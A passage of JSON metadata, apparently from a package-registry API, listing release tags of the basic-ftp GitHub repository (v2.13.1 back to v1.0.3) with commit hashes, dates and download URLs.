l_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1/manifests"},{"name":"v2.13.0","sha":"542ce43aec992ba6d88f54f2fef281dcd2aad8d8","kind":"tag","published_at":"2018-06-05T20:06:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0/manifests"},{"name":"v2.12.3","sha":"092c29720715d9096bda60854be658e6fa69c17c","kind":"tag","published_at":"2018-05-27T09:50:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3/manifests"},{"name":"v2.12.2","sha":"98978f9ca78ab371001bdbf99085ee8c953b919f","kind":"tag","published_at":"2018-05-18T19:08:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2/manifests"},{"name":"v2.12.1","sha":"00e6e3d987579fd8ce9ff8472cee16bcf3b84c2c","kind":"tag","published_at":"2018-05-18T15:19:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1/manifests"},{"name":"v2.12.0","sha":"1c8f44b0ab6515d7ab703f68403a8da6a5b5046e","kind":"tag","published_at":"2018-05-11T15:47:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0/manifests"},{"name":"v2.11.0","sha":"0e2555f2c3272f5f4a62cfeb071a3b68ecbac343","kind":"tag","published_at":"2018-04-30T16:57:39.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.11.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0/manifests"},{"name":"v2.10.0","sha":"c5daa72a6223fe25ffde49118177e18417b00021","kind":"tag","published_at":"2018-04-23T20:11:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.10.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0/manifests"},{"name":"v2.9.2","sha":"95ff793953801008c26c719516296bbd14dd8b4e","kind":"tag","published_at":"2018-04-04T19:32:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2/manifests"},{"name":"v2.9.1","sha":"44b64e38a97a53a6897db55eb0d45a28f89598c2","kind":"tag","published_at":"2018-03-28T11:09:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1/manifests"},{"name":"v2.9.0","sha":"f4dada9373271daaa5e65935d8187fad743f121c","kind":"tag","published_at":"2018-03-17T10:05:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0/manifests"},{"name":"v2.8.3","sha":"07af61fa353f485cbc0741d00e24e3ccdd68d87d","kind":"tag","published_at":"2018-02-28T18:13:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3/manifests"},{"name":"v2.8.2","sha":"d19d6f8cc6262ed35c404169db2507b43ac9ba7a","kind":"tag","published_at":"2018-02-12T18:10:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2/manifests"},{"name":"v2.8.1","sha":"f3f80976c21623e50f51cab48a2fc1b766f8bc37","kind":"tag","published_at":"2018-02-08T17:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"bc93080f0223067665021001f94bc19619be8968","kind":"tag","published_at":"2018-02-03T06:52:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0/manifests"},{"name":"v2.7.1","sha":"27e90d8b50271c229ac59d914c16b9bd13d8712d","kind":"tag","published_at":"2018-01-31T13:02:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1/manifests"},{"name":"v2.7.0","sha":"251191cc2c2d8b0aa208777e1c32dc42a8904383","kind":"tag","published_at":"2018-01-31T12:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0/manifests"},{"name":"v2.6.2","sha":"838de7f0688634bcf4aff67ab7c869b24ce00f02","kind":"tag","published_at":"2018-01-30T21:11:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2/manifests"},{"name":"v2.6.1","sha":"624ce1caec7c273190e63150ec5063a6df6c756d","kind":"tag","published_at":"2018-01-29T16:18:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1/manifests"},{"name":"v2.6.0","sha":"345cae67fd86fb42c935886cbc696eb503a2d831","kind":"tag","published_at":"2018-01-29T11:25:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0/manifests"},{"name":"v2.5.2","sha":"0e78c6ab45a29c0a89f259cd0de24d3f2788ea2f","kind":"tag","published_at":"2018-01-24T18:09:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2/manifests"},{"name":"v2.5.1","sha":"37a4d6ab1a018c929f0ac7a85b1367e7e20ef3d0","kind":"tag","published_at":"2018-01-24T10:06:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1/manifests"},{"name":"v2.5.0","sha":"ccfa95fe4c8b2a816f3ea3a704ed56c6f90cce6c","kind":"tag","published_at":"2018-01-24T10:04:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0/manifests"},{"name":"v2.4.2","sha":"1fb6d04bc34a85be555ec55d1ba6c31fa45d1051","kind":"commit","published_at":"2018-01-20T12:39:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2/manifests"},{"name":"v2.4.1","sha":"6322a864584c95b62687b23cd37e57905663ca6c","kind":"commit","published_at":"2018-01-20T11:47:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"306418be304fdeac9cf9b0ec52fef67458da793f","kind":"tag","published_at":"2018-01-15T21:32:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0/manifests"},{"name":"v2.3.3","sha":"070324be160af7f7e1408823eaa61c95b34fef0a","kind":"tag","published_at":"2018-01-14T17:55:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3/manifests"},{"name":"v2.3.2","sha":"f378b1b47dca0dd6aad8b98fa059994c74899039","kind":"tag","published_at":"2018-01-14T15:45:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2/manifests"},{"name":"v2.3.1","sha":"f31e1b396304968faca207b259399663e54a2134","kind":"tag","published_at":"2018-01-14T08:49:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1/manifests"},{"name":"v2.3.0","sha":"0b94f445c32fab5741621e5f25be0b4e2d0c3852","kind":"tag","published_at":"2018-01-13T21:04:02.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0/manifests"},{"name":"v2.2.1","sha":"bcbe53c1c4bfe7a0bdddb053bd236853f1f27dbe","kind":"tag","published_at":"2018-01-13T20:38:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"3d7a0690205e78c7792724f013ef3910e0ef77aa","kind":"tag","published_at":"2018-01-13T17:30:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"c4a3c00eec9753fb4fa684967fda7c76c43e1f7d","kind":"tag","published_at":"2018-01-12T19:14:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"0392e12a52d3ab2cacca643b582b1f2b898b0836","kind":"tag","published_at":"2018-01-10T12:37:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0/manifests"},{"name":"v1.2.0","sha":"e55c94c461a5ab0c0740221458222e8773faa908","kind":"tag","published_at":"2018-01-07T08:22:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"a354d92fc576e4e98c61fa319e3f879b3991b0ae","kind":"tag","published_at":"2018-01-06T18:03:14.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"3d663e02aaf7169eb6fe07dd7250ef0dfd9d6280","kind":"tag","published_at":"2018-01-06T17:07:58.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0/manifests"},{"name":"v1.0.9","sha":"2d35713910994baaabcf78dcc805cd8996dd3bbd","kind":"tag","published_at":"2018-01-04T21:00:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.9","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9/manifests"},{"name":"v1.0.8","sha":"e3ff76ad996a48291e96212c301554a8a72cf190","kind":"tag","published_at":"2018-01-04T17:03:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.8","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8/manifests"},{"name":"v1.0.7","sha":"cdbca2c538820c15fdadac8be6aea8931fd891ea","kind":"tag","published_at":"2018-01-04T06:34:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.7","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7/manifests"},{"name":"1.0.6","sha":"fad9e33b2fb8b6e8adf241136449acb71b09a724","kind":"tag","published_at":"2018-01-03T11:50:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/1.0.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6/manifests"},{"name":"v1.0.5","sha":"4789d0bbb9c69495ae575a5b2b01ddaf0c1cd80a","kind":"tag","published_at":"2018-01-02T14:36:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"749d64f17b5afcbcec024c980c23709165a24d03","kind":"tag","published_at":"2017-12-31T17:18:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"964b3ec